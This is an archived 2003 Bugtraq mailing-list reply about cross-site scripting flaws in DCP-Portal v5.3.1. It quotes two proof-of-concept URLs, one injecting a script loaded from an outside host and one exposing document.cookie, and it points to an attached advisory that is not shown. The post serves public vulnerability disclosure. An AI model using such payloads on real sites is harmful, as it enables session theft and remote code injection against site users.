bugtraq - Re: Some XSS vulns

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Wed, 19 Mar 2003 19:01:25 +0100
From: mcbethh@...pl
To: bugtraq@...urityfocus.com, full-disclosure@...ts.netsys.com
Subject: Re: Some XSS vulns

On Wed, 19 Mar 2003 01:59:35 +0200
Ertan Kurt <ertank@...mpos.org> wrote:

> DCP-Portal v5.3.1
> http://target/search.php?fields=content&q=<script%20src=http://othersite/code.js></script>
> http://target/calendar.php?year=<script>alert(document.cookie);</script>&month=03&day=05
> Vendor Site: http://www.dcp-portal.org

I've found many more vulnerabilities in dcp-portal... look at attached
advisory.


Regards
Grzegorz Aksamit

----------------------------------------------------------
 ( signature censored )
---------------------------------[ grzegorz aksamit ]-----


















Download attachment "dcp-advisory-06-02-2003.txt" of type "application/octet-stream" (4540 bytes)